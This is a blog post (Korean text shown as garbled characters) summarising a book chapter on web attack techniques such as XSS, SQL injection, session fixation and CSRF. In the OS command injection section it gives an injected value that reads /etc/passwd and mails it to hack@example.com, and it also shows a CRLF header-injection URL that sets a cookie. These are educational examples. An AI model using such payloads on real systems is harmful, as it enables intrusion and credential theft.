Amenable
Amenable's Blog
Amenable
  • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (189)
    • ๐Ÿ“‚ JAVA (87)
      • ์ดํŽ™ํ‹ฐ๋ธŒ ์ž๋ฐ” (65)
      • ์ฃผ์š” ๊ฐœ๋… (22)
    • ๐Ÿ“‚ ๊ฐœ๋ฐœ ์„œ์  (22)
      • ์‹ค์šฉ์ฃผ์˜ ํ”„๋กœ๊ทธ๋ž˜๋จธ (1)
      • ๊ฐ์ฒด์ง€ํ–ฅ์˜ ์‚ฌ์‹ค๊ณผ ์˜คํ•ด (2)
      • ํด๋ฆฐ ์ฝ”๋“œ (8)
      • ํ•จ๊ป˜ ์ž๋ผ๊ธฐ (1)
      • ๊ทธ๋ฆผ์œผ๋กœ ๋ฐฐ์šฐ๋Š” HTTP&Network Basic (10)
    • ๐Ÿ“‚ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค (8)
      • ๊ฐœ๋… (8)
      • ๋ฌธ์ œํ’€์ด (0)
    • ๐Ÿ“‚ ๋„คํŠธ์›Œํฌ (14)
      • ๊ฐœ๋… (6)
      • ์„ฑ๊ณต๊ณผ ์‹คํŒจ๋ฅผ ๊ฒฐ์ •ํ•˜๋Š” 1%์˜ ๋„คํŠธ์›Œํฌ ์›๋ฆฌ (8)
    • ๐Ÿ“‚ ์Šคํ”„๋ง (13)
      • ๊ธฐ๋ณธ ๊ฐœ๋… (13)
    • ๐Ÿ“‚ WEB (5)
    • ๐Ÿ“‚ ์ž๋ฃŒ๊ตฌ์กฐ (12)
      • ๊ฐœ๋… (2)
      • ์ •๋ ฌ (8)
      • ํŠธ๋ฆฌ (2)
    • ๐Ÿ“‚ ์•Œ๊ณ ๋ฆฌ์ฆ˜ (10)
      • ์ตœ์†Œ์‹ ์žฅํŠธ๋ฆฌ (2)
      • ์ตœ๋‹จ ๊ฒฝ๋กœ (2)
      • ๋ฌธ์ž์—ด (2)
      • ETC (4)
    • ๐Ÿ“‚ ์•Œ๊ณ ๋ฆฌ์ฆ˜_๋ฌธ์ œํ’€์ด (4)
      • BOJ_๋ฐฑ์ค€ (4)
    • ๐Ÿ“‚ ํ”„๋กœ๊ทธ๋ž˜๋ฐ (3)
    • ๐Ÿ“‚ DevOps (2)
      • ๋ฐฐํฌ (2)
    • ๐Ÿ“‚ ํ›„๊ธฐ (8)
      • ์šฐ์•„ํ•œ ํ…Œํฌ์ฝ”์Šค(ํ”„๋ฆฌ์ฝ”์Šค) (4)
      • 2023๋…„ (3)
      • 2024๋…„ (1)
    • ๐Ÿ“‚ ํšŒ๊ณ  (1)
      • 2023๋…„ (1)

๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

  • ๐Ÿš€ GitHub

ํ‹ฐ์Šคํ† ๋ฆฌ

hELLO ยท Designed By ์ •์ƒ์šฐ.
Amenable

Amenable's Blog

์ œ 11์žฅ. ์›น ๊ณต๊ฒฉ ๊ธฐ์ˆ 
๐Ÿ“‚ ๊ฐœ๋ฐœ ์„œ์ /๊ทธ๋ฆผ์œผ๋กœ ๋ฐฐ์šฐ๋Š” HTTP&Network Basic

์ œ 11์žฅ. ์›น ๊ณต๊ฒฉ ๊ธฐ์ˆ 

2023. 6. 1. 09:55
  • ์ธํ„ฐ๋„ท์ƒ์—์„œ ๋ฒŒ์–ด์ง€๋Š” ๊ณต๊ฒฉ์˜ ๋Œ€๋ถ€๋ถ„์€ ์›น ์‚ฌ์ดํŠธ๋ฅผ ๋…ธ๋ฆฐ ๊ฒƒ์ด๋‹ค
  • ์›น ์‚ฌ์ดํŠธ ๊ณต๊ฒฉ์—๋Š” ์–ด๋–ค ๊ฒƒ์ด ์žˆ๋Š”์ง€ ๊ทธ๋ฆฌ๊ณ  ์–ด๋–ค ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š”์ง€์— ๋Œ€ํ•ด์„œ ์•Œ์•„๋ณด์ž.

 

์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ๊ณต๊ฒฉ ํŒจํ„ด

  • ์„œ๋ฒ„๋ฅผ ๋…ธ๋ฆฌ๋Š” ๋Šฅ๋™์  ๊ณต๊ฒฉ (active attack)
    ๊ณต๊ฒฉ์ž๊ฐ€ ์ง์ ‘ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์•ก์„ธ์Šค ํ•ด์„œ ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ๋ณด๋‚ด๋Š” ํƒ€์ž…์˜ ๊ณต๊ฒฉ
    ์„œ๋ฒ„ ์ƒ์˜ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•ด ์ง์ ‘ ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฆฌ์†Œ์Šค์— ์•ก์„ธ์Šค ํ•  ํ•„์š”๊ฐ€ ์žˆ์Œ
    ex) SQL ์ธ์ ์…˜, OS ์ปค๋งจ๋“œ ์ธ์ ์…˜
  • ์œ ์ €๋ฅผ ๋…ธ๋ฆฌ๋Š” ์ˆ˜๋™์  ๊ณต๊ฒฉ (passive attack)
    ํ•จ์ ์„ ์ด์šฉํ•ด์„œ ์œ ์ €์—๊ฒŒ ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ
    ๊ณต๊ฒฉ์ž๊ฐ€ ์ง์ ‘ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ์•ก์„ธ์Šค ํ•ด์„œ ๊ณต๊ฒฉํ•˜์ง€ ์•Š์Œ
    ex) ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…(XSS, cross-site scripting), ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ๋ฆฌํ€˜์ŠคํŠธ ํฌ์ €๋ฆฌ(CSRF, Cross Site Request Forgery)

 

 

๐Ÿ“˜ 1. ์ถœ๋ ฅ ๊ฐ’์˜ ์ด์Šค์ผ€์ดํ”„ ๋ฏธ๋น„๋กœ ์ธํ•œ ์ทจ์•ฝ์„ฑ

์ถœ๋ ฅ ๊ฐ’์˜ ์ด์Šค์ผ€์ดํ”„๊ฐ€ ๋ฏธ๋น„ํ•  ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ณด๋‚ธ ๊ณต๊ฒฉ ์ฝ”๋“œ๊ฐ€ ์ถœ๋ ฅํ•˜๋Š” ๋Œ€์ƒ์— ํ”ผํ•ด๋ฅผ ์ž…ํž ์ˆ˜ ์žˆ๋‹ค

๐Ÿ”Ž 1. ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ…(XSS, Cross-Site Scripting)

  • ์ทจ์•ฝ์„ฑ์ด ์žˆ๋Š” ์›น ์‚ฌ์ดํŠธ๋ฅผ ๋ฐฉ๋ฌธํ•œ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋ถ€์ •ํ•œ HTML ํƒœ๊ทธ๋‚˜ JavaScript ๋“ฑ์„ ๋™์ž‘์‹œํ‚ค๋Š” ๊ณต๊ฒฉ
  • ๊ณต๊ฒฉ์ž๊ฐ€ ์ž‘์„ฑํ•œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ•จ์ •์ด ๋˜๊ณ  ์œ ์ €์˜ ๋ธŒ๋ผ์šฐ์ € ์ƒ์—์„œ ์›€์ง์ด๋Š” ์ˆ˜๋™์  ๊ณต๊ฒฉ
  • ์˜ˆ์‹œ
    ๋กœ๊ทธ์ธ ํผ์— ํ•จ์ •์„ ์„ค์น˜ํ•˜์—ฌ ์œ ์ € ID์™€ ํŒจ์Šค์›Œ๋“œ ๋“ฑ์˜ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋‹ค
    ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์œ ์ €์˜ ์ฟ ํ‚ค๋ฅผ ๋นผ์•—์„ ์ˆ˜ ์žˆ๋‹ค

๐Ÿ”Ž 2. SQL ์ธ์ ์…˜ (SQL Injection)

  • ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ด์šฉํ•˜๊ณ  ์žˆ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— SQL์„ ๋ถ€์ •ํ•˜๊ฒŒ ์‹คํ–‰ํ•˜๋Š” ๊ณต๊ฒฉ
  • ์ปค๋‹ค๋ž€ ์œ„ํ˜‘์„ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์„ฑ์œผ๋กœ ๊ฐœ์ธ ์ •๋ณด๋‚˜ ๊ธฐ๋ฐ€ ์ •๋ณด ๋ˆ„์„ค๋กœ ์ง๊ฒฐ๋˜๊ธฐ๋„ ํ•จ
  • ์˜ˆ์‹œ
    '--'๋ฅผ SQL์— ์ถ”๊ฐ€ํ•˜์—ฌ ์ดํ›„์˜ ๊ตฌ๋ฌธ์„ ์ฃผ์„์œผ๋กœ ์ฒ˜๋ฆฌ๋ฅผ ํ•œ๋‹ค. ์กฐ๊ฑด์ด ๋ช…ํ™•ํ•˜๊ฒŒ ๊ฑธ๋ฆฌ์ง€ ์•Š์€ SQL์ด ๋‚˜๊ฐ€๊ฒŒ ๋œ๋‹ค
    SQL ์ธ์ ์…˜์„ ํ†ตํ•˜์—ฌ ์œ ์ € ์ •๋ณด๋‚˜ ๊ฒฐ์ œ ์ •๋ณด ๋“ฑ์˜ ๋‹ค๋ฅธ ํ…Œ์ด๋ธ”์„ ๋ถ€์ •ํ•˜๊ณ  ์—ด๋žŒํ•˜๊ฑฐ๋‚˜ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๋‹ค

๐Ÿ”Ž 3. OS ์ปค๋งจ๋“œ ์ธ์ ์…˜ (OS Command Injection)

  • ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๊ฒฝ์œ ํ•˜์—ฌ OS ๋ช…๋ น์„ ๋ถ€์ •ํ•˜๊ฒŒ ์‹คํ–‰ํ•˜๋Š” ๊ณต๊ฒฉ
  • ์‰˜์„ ํ˜ธ์ถœํ•˜๋Š” ํ•จ์ˆ˜๊ฐ€ ์žˆ๋Š” ๊ณณ์—์„œ ๋ฐœ์ƒํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค
  • ์˜ˆ์‹œ
[๊ธฐ์กด] - ์•„๋ž˜์˜ ๊ฐ’์„ ๋ฉ”์ผ ์ฃผ์†Œ๋กœ ์ €์žฅ
; cat /etc/passwd | mail hack@example.com
[๋ณ€๊ฒฝ] - /etc/passwd ๋ผ๋Š” Linux์˜ ๊ณ„์ • ์ •๋ณด๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ์ด hack@example.com์œผ๋กœ ๋ฉ”์ผ์ด ์†ก์‹ 
| /user/sbin/sendmail ; cat /etc/passwd | mail hack@example.com

๐Ÿ”Ž 4. HTTP ํ—ค๋” ์ธ์ ์…˜ (HTTP Header Injection)

  • ๊ณต๊ฒฉ์ž๊ฐ€ ์‘๋‹ต ํ—ค๋” ํ•„๋“œ์— ๊ฐœํ–‰ ๋ฌธ์ž ๋“ฑ์„ ์‚ฝ์ž…ํ•จ์œผ๋กœ์จ ์ž„์˜์˜ ์‘๋‹ต ํ—ค๋” ํ•„๋“œ๋‚˜ ๋ฐ”๋””๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ์ˆ˜๋™์  ๊ณต๊ฒฉ
  • ํŠนํžˆ ๋ฐ”๋””๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ณต๊ฒฉ์„ HTTP ์‘๋‹ต ๋ถ„ํ•  ๊ณต๊ฒฉ (HTTP Response Splitting Attack)์ด๋ผ๊ณ  ๋ถ€๋ฆ„

์˜ˆ๋ฅผ ๋“ค์–ด, ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์นดํ…Œ๊ณ ๋ฆฌ๋ฅผ ์„ ํƒํ•ด์„œ ์š”์ฒญ์„ ๋ณด๋‚ธ๋‹ค๊ณ  ํ•˜์ž

[๊ธฐ์กด ์š”์ฒญ]
http://example.com/?cat=101
[๊ธฐ์กด ์‘๋‹ต ํ—ค๋”]
Location: http://example.com/?cat=101
[๋ณ€๊ฒฝ๋œ ์š”์ฒญ]
http://example.com/?cat=101%0D%0ASet-Cookie:+SID=123456789
[๋ณ€๊ฒฝ๋œ ์‘๋‹ต ํ—ค๋”]
Location: http://example.com/?cat=101(%0D%0A : ๊ฐœํ–‰๋ฌธ์ž)
Set-Cookie: SID=123456789

์ฆ‰, ๊ณต๊ฒฉ์ž๊ฐ€ ์ง€์ •ํ•œ ์ž„์˜์˜ ์ฟ ๊ธฐ๊ฐ€ ์„ธํŒ…๋˜๋Š” ์ƒํ™ฉ์ด ๋ฐœ์ƒํ•œ๋‹ค

๐Ÿ”Ž 5. ๋ฉ”์ผ ํ—ค๋” ์ธ์ ์…˜ (Mail Header Injection)

  • ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ฉ”์ผ ์†ก์‹  ๊ธฐ๋Šฅ์— ๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜์˜ To ๋ฐ Subject ๋“ฑ์˜ ๋ฉ”์ผ ํ—ค๋”๋ฅผ ๋ถ€์ •ํ•˜๊ฒŒ ์ถ”๊ฐ€ํ•˜๋Š” ๊ณต๊ฒฉ
  • ์ทจ์•ฝ์„ฑ์ด ์žˆ๋Š” ์›น ์‚ฌ์ดํŠธ๋ฅผ ์ด์šฉํ•ด์„œ ์ŠคํŒธ ๋ฉ”์ผ์ด๋‚˜ ๋ฐ”์ด๋Ÿฌ์Šค ๋ฉ”์ผ ๋“ฑ์„ ์ž„์˜์˜ ์ฃผ์†Œ์— ์†ก์‹ ํ•  ์ˆ˜ ์žˆ์Œ

๐Ÿ”Ž 6. ๋””๋ ‰ํ† ๋ฆฌ ์ ‘๊ทผ ๊ณต๊ฒฉ (Directory Traversal)

  • ๋น„๊ณต๊ฐœ ๋””๋ ‰ํ† ๋ฆฌ ํŒŒ์ผ์— ๋Œ€ํ•ด์„œ ๋ถ€์ •ํ•˜๊ฒŒ ๋””๋ ‰ํ† ๋ฆฌ ํŒจ์Šค๋ฅผ ๊ฐ€๋กœ์งˆ๋Ÿฌ ์•ก์„ธ์Šค ํ•˜๋Š” ๊ณต๊ฒฉ
  • ํŒจ์Šค ํŠธ๋ž˜๋ฒ„์„ค(Path Traversal)์ด๋ผ๊ณ ๋„ ๋ถ€๋ฆ„
  • ํŒŒ์ผ์„ ์กฐ์ž‘ํ•˜๋Š” ์ฒ˜๋ฆฌ์—์„œ ํŒŒ์ผ ์ด๋ฆ„์„ ์™ธ๋ถ€์—์„œ ์ง€์ •ํ•˜์—ฌ ์ž„์˜์˜ ํŒŒ์ผ์ด๋‚˜ ๋””๋ ‰ํ† ๋ฆฌ์— ์•ก์„ธ์Šค ํ•˜๋Š” ๊ฒƒ

๐Ÿ”Ž 7. ๋ฆฌ๋ชจํŠธ ํŒŒ์ผ ์ธํด๋ฃจ์…˜ (Remote File Inclusion)

  • ์Šคํฌ๋ฆฝํŠธ์˜ ์ผ๋ถ€๋ฅผ ๋‹ค๋ฅธ ํŒŒ์ผ์—์„œ ์ฝ์–ด์˜ฌ ๋•Œ ๊ณต๊ฒฉ์ž๊ฐ€ ์ง€์ •ํ•œ ์™ธ๋ถ€ ์„œ๋ฒ„์˜ URL์„ ํŒŒ์ผ์—์„œ ์ฝ๊ฒŒ ํ•จ์œผ๋กœ์จ ์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋™์ž‘์‹œํ‚ค๋Š” ๊ณต๊ฒฉ

 

 

๐Ÿ“˜ 2. ์›น ์„œ๋ฒ„์˜ ์„ค์ •์ด๋‚˜ ์„ค๊ณ„ ๋ฏธ๋น„๋กœ ์ธํ•œ ์ทจ์•ฝ์„ฑ

์›น ์„œ๋ฒ„๋ฅผ ์ž˜๋ชป ์„ค์ •ํ•˜๊ฑฐ๋‚˜ ์ž˜๋ชป ์„ค๊ณ„ํ•  ๋•Œ ์ƒ๊ธด ๋ฌธ์ œ ๋“ฑ์— ์˜ํ•ด ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์„ฑ

๐Ÿ”Ž 1. ๊ฐ•์ œ ๋ธŒ๋ผ์šฐ์ง• (Forced Browsing)

  • ์›น ์„œ๋ฒ„์˜ ๊ณต๊ฐœ ๋””๋ ‰ํ† ๋ฆฌ์— ์žˆ๋Š” ํŒŒ์ผ ์ค‘์—์„œ ๊ณต๊ฐœ ์˜๋„๊ฐ€ ์—†๋Š” ํŒŒ์ผ์ด ์—ด๋žŒ๋˜๊ฒŒ ๋˜๋Š” ์ทจ์•ฝ์„ฑ
  • ๊ณต๊ฐœํ•˜๊ณ  ์‹ถ์ง€ ์•Š์€ ํŒŒ์ผ์˜ URL์„ ์ˆจ๊ธฐ๋Š” ๋ณด์•ˆ ๋Œ€์ฑ…์— ์˜์กดํ•˜๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ ํ•ด๋‹น URL์„ ์•Œ๊ฒŒ ๋˜๋ฉด ํŒŒ์ผ์„ ์—ด๋žŒํ•  ์ˆ˜ ์žˆ์Œ

๐Ÿ”Ž 2. ๋ถ€์ ์ ˆํ•œ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ์ฒ˜๋ฆฌ (Error Handling Vulnerability)

  • ๊ณต๊ฒฉ์ž์—๊ฒŒ ์œ ์ตํ•œ ์ •๋ณด๊ฐ€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ํฌํ•จ๋œ๋‹ค๋Š” ์ทจ์•ฝ์„ฑ
  • ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋Š” ์œ ์ €๊ฐ€ ๋ณด๊ณ  ์žˆ๋Š” ํ™”๋ฉด์— ์ƒ์„ธํ•œ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋ฅผ ํ‘œ์‹œํ•  ํ•„์š”๋Š” ์—†๋‹ค
  • ์ƒ์„ธํ•œ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ๊ณต๊ฒฉ์„ ํ•˜๊ธฐ ์œ„ํ•œ ํžŒํŠธ๊ฐ€ ๋  ์ˆ˜ ์žˆ์Œ

๐Ÿ”Ž 3. ์˜คํ”ˆ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ (Open Redirect)

  • ์ง€์ •ํ•œ ์ž„์˜์˜ URL๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ํ•˜๋Š” ๊ธฐ๋Šฅ

 

 

๐Ÿ“˜ 3. ์„ธ์…˜ ๊ด€๋ฆฌ ๋ฏธ๋น„๋กœ ์ธํ•œ ์ทจ์•ฝ์„ฑ

์„ธ์…˜ ๊ด€๋ฆฌ๋Š” ์œ ์ €์˜ ์ƒํƒœ๋ฅผ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•œ ๊ธฐ๋Šฅ์ด๋‹ค
์„ธ์…˜ ๊ด€๋ฆฌ ๊ธฐ๋Šฅ์ด ์ทจ์•ฝํ•œ ๊ฒฝ์šฐ ์œ ์ € ์ธ์ฆ ์ƒํƒœ๋ฅผ ๋นผ์•—๊ฒจ ๋ฒ„๋ฆฌ๋Š” ํ”ผํ•ด๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค

๐Ÿ”Ž 1. ์„ธ์…˜ ํ•˜์ด์žฌํ‚น (Session Hijacking)

  • ๊ณต๊ฒฉ์ž๊ฐ€ ์–ด๋– ํ•œ ๋ฐฉ๋ฒ•์œผ๋กœ ์œ ์ €์˜ ์„ธ์…˜ ID๋ฅผ ์ž…์ˆ˜ํ•ด์„œ ์•…์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ์œ ์ €๋กœ ์œ„์žฅํ•˜๋Š” ๊ณต๊ฒฉ
  • ์œ ์ €์˜ ์„ธ์…˜ ID๋ฅผ ์ž…์ˆ˜ํ•œ ๊ณต๊ฒฉ์ž๋Š” ๋ธŒ๋ผ์šฐ์ €์˜ ์ฟ ํ‚ค์— ์„ธ์…˜ ID๋ฅผ ์„ธํŒ…ํ•˜๊ณ  ์›น ์‚ฌ์ดํŠธ ์•ก์„ธ์Šคํ•˜์—ฌ ์œ ์ €๋กœ ์œ„์žฅํ•  ์ˆ˜ ์žˆ์Œ

๐Ÿ”Ž 2. ์„ธ์…˜ ํ”ฝ์„ธ์ด์…˜ (Session Fixation)

  • ์„ธ์…˜ ํ•˜์ด์žญํ‚น์ด ์ธ์ฆ๋œ ์œ ์ €์˜ ์„ธ์…˜ ID๋ฅผ ๋นผ์•—๋Š” ๊ณต๊ฒฉ์ด๋ผ๋ฉด, ์„ธ์…˜ ํ”ฝ์„ธ์ด์…˜์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ง€์ •ํ•œ ์„ธ์…˜ ID๋ฅผ ์œ ์ €์—๊ฒŒ ๊ฐ•์ œ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜๊ฒŒ ํ•˜๋Š” ๊ฒƒ
  • ์„ธ์…˜ ๊ณ ์ • ๊ณต๊ฒฉ์ด๋ผ๊ณ ๋„ ๋ถˆ๋ฆผ

๊ณต๊ฒฉ ๋ฐฉ๋ฒ•

  1. ๊ณต๊ฒฉ์ž๊ฐ€ ๊ณต๊ฒฉ์— ์‚ฌ์šฉํ•  ์„ธ์…˜ ID๋ฅผ ์ค€๋น„ํ•จ (์•„์ง ์„œ๋ฒ„์—์„œ ์ธ์ฆ ์ „ ์ƒํƒœ)
  2. ์œ ์ €๊ฐ€ ํ•ด๋‹น ์„ธ์…˜ ID๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ํ•˜์—ฌ ์ธ์ฆ๋ฐ›๋„๋ก ํ•จ (์„œ๋ฒ„์—์„œ ์ธ์ฆํ•˜๋Š” ๊ฒƒ)
  3. ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ์„ธ์…˜ ID๋ฅผ ์ด์šฉํ•˜์—ฌ ์›น ์‚ฌ์ดํŠธ์— ์ธ์ฆ (์ธ์ฆ๋œ ์„ธ์…˜ ID๋ฅผ ์ด์šฉํ•˜๋Š” ๊ฒƒ)

๐Ÿ”Ž 3. ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ๋ฆฌํ€˜์ŠคํŠธ ํฌ์ €๋ฆฌ (CSRF, Cross-Site Request Forgeries)

  • ์ธ์ฆ๋œ ์œ ์ €๊ฐ€ ์˜๋„ํ•˜์ง€ ์•Š๋Š” ๊ฐœ์ธ ์ •๋ณด๋‚˜ ์„ค์ • ์ •๋ณด ๋“ฑ์„ ๊ณต๊ฒฉ์ž๊ฐ€ ์„ค์น˜ํ•ด ๋‘” ํ•จ์ •์— ์˜ํ•ด ์–ด๋–ค ์ƒํƒœ๋กœ ๊ฐฑ์‹ ํ•˜๋Š” ์ฒ˜๋ฆฌ๋ฅผ ๊ฐ•์ œ๋กœ ์‹คํ–‰์‹œํ‚ค๋Š” ๊ณต๊ฒฉ

 

 

๐Ÿ“˜ 4. ๊ธฐํƒ€

๐Ÿ”Ž 1. ํŒจ์Šค์›Œํฌ ํฌ๋ž˜ํ‚น (Password Cracking)

  • ํŒจ์Šค์›Œ๋“œ๋ฅผ ๋…ผ๋ฆฌ์ ์œผ๋กœ ์ด๋Œ์–ด๋‚ด์„œ ์ธ์ฆ์„ ๋ŒํŒŒํ•˜๋Š” ๊ณต๊ฒฉ

๐Ÿ”Ž 2. ํด๋ฆญ ์žฌํ‚น (Clickjacking)

  • ํˆฌ๋ช…ํ•œ ๋ฒ„ํŠผ์ด๋‚˜ ๋งํฌ๋ฅผ ํ•จ์ •์œผ๋กœ ์‚ฌ์šฉํ•  ์›น ํŽ˜์ด์ง€์— ์‹ฌ์–ด ๋‘๊ณ , ์œ ์ €์—๊ฒŒ ๋งํฌ๋ฅผ ํด๋ฆญํ•˜๊ฒŒ ํ•จ์œผ๋กœ์จ ์˜๋„ํ•˜์ง€ ์•Š์€ ์ฝ˜ํ…์ธ ์— ์•ก์„ธ์Šค ์‹œํ‚ค๋Š” ๊ณต๊ฒฉ
  • UI Redressing์ด๋ผ๊ณ ๋„ ๋ถˆ๋ฆผ

๐Ÿ”Ž 3. DoS ๊ณต๊ฒฉ (Denial of Service attack)

  • ์„œ๋น„์Šค ์ œ๊ณต์„ ์ •์ง€ ์ƒํƒœ๋กœ ๋งŒ๋“œ๋Š” ๊ณต๊ฒฉ
  • ์„œ๋น„์Šค ์ •์ง€ ๊ณต๊ฒฉ ๋˜๋Š” ์„œ๋น„์Šค ๊ฑฐ๋ถ€ ๊ณต๊ฒฉ์ด๋ผ ๋ถˆ๋ฆผ
  • ์•ก์„ธ์Šค๋ฅผ ์ง‘์ค‘์‹œํ‚ด์œผ๋กœ์จ ๋ถ€ํ•˜๋ฅผ ๊ฑธ์–ด ๋ฆฌ์†Œ์Šค๋ฅผ ๋‹ค ์†Œ๋น„ํ•˜๊ฒŒ ํ•˜์—ฌ ์‚ฌ์‹ค์ƒ ์„œ๋น„์Šค๋ฅผ ์ •์ง€ ์ƒํƒœ๋กœ ๋งŒ๋“ ๋‹ค
  • ์ทจ์•ฝ์„ฑ์„ ๊ณต๊ฒฉํ•ด ์„œ๋น„์Šค๋ฅผ ์ •์ง€์‹œํ‚จ๋‹ค

๐Ÿ”Ž 4. ๋ฐฑ๋„์–ด (Backdoor)

  • ์ œํ•œ๋œ ๊ธฐ๋Šฅ์„ ์ •๊ทœ ์ ˆ์ฐจ๋ฅผ ๋ฐŸ์ง€ ์•Š๊ณ  ์ด์šฉํ•˜๊ธฐ ์œ„ํ•ด ์„ค์น˜๋œ ๋’ท๋ฌธ
  • ๋ณธ๋ž˜ ์ •ํ•ด์ง„ ์ œํ•œ์„ ์ดˆ๊ณผํ•œ ๊ธฐ๋Šฅ์„ ์ด์šฉํ•˜๋Š” ๊ฒƒ

'๐Ÿ“‚ ๊ฐœ๋ฐœ ์„œ์  > ๊ทธ๋ฆผ์œผ๋กœ ๋ฐฐ์šฐ๋Š” HTTP&Network Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

์ œ 9์žฅ. HTTP์— ๊ธฐ๋Šฅ์„ ์ถ”๊ฐ€ํ•œ ํ”„๋กœํ† ์ฝœ  (1) 2023.05.31
์ œ 8์žฅ. ๋ˆ„๊ฐ€ ์—‘์„ธ์Šคํ•˜๊ณ  ์žˆ๋Š”์ง€๋ฅผ ํ™•์ธํ•˜๋Š” ์ธ์ฆ  (0) 2023.05.31
์ œ 7์žฅ. ์›น์„ ์•ˆ์ „ํ•˜๊ฒŒ ์ง€์ผœ์ฃผ๋Š” HTTPS  (0) 2023.05.31
์ œ 6์žฅ. HTTP ํ—ค๋”  (0) 2023.05.31
์ œ 5์žฅ. HTTP์™€ ์—ฐ๊ณ„ํ•˜๋Š” ์›น ์„œ๋ฒ„  (0) 2023.05.31
    '๐Ÿ“‚ ๊ฐœ๋ฐœ ์„œ์ /๊ทธ๋ฆผ์œผ๋กœ ๋ฐฐ์šฐ๋Š” HTTP&Network Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
    • ์ œ 9์žฅ. HTTP์— ๊ธฐ๋Šฅ์„ ์ถ”๊ฐ€ํ•œ ํ”„๋กœํ† ์ฝœ
    • ์ œ 8์žฅ. ๋ˆ„๊ฐ€ ์—‘์„ธ์Šคํ•˜๊ณ  ์žˆ๋Š”์ง€๋ฅผ ํ™•์ธํ•˜๋Š” ์ธ์ฆ
    • ์ œ 7์žฅ. ์›น์„ ์•ˆ์ „ํ•˜๊ฒŒ ์ง€์ผœ์ฃผ๋Š” HTTPS
    • ์ œ 6์žฅ. HTTP ํ—ค๋”
    Amenable
    Amenable
    CS, ์ž๋ฐ”, ์ž๋ฃŒ๊ตฌ์กฐ, ์•Œ๊ณ ๋ฆฌ์ฆ˜, ์Šคํ”„๋ง, ์Šคํ”„๋ง ๋ถ€ํŠธ์— ํ•ด๋‹นํ•˜๋Š” ๊ฐœ๋ฐœ์— ๊ด€ํ•œ ๋‚ด์šฉ์„ ๊ณต์œ ํ•ฉ๋‹ˆ๋‹ค.

    ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”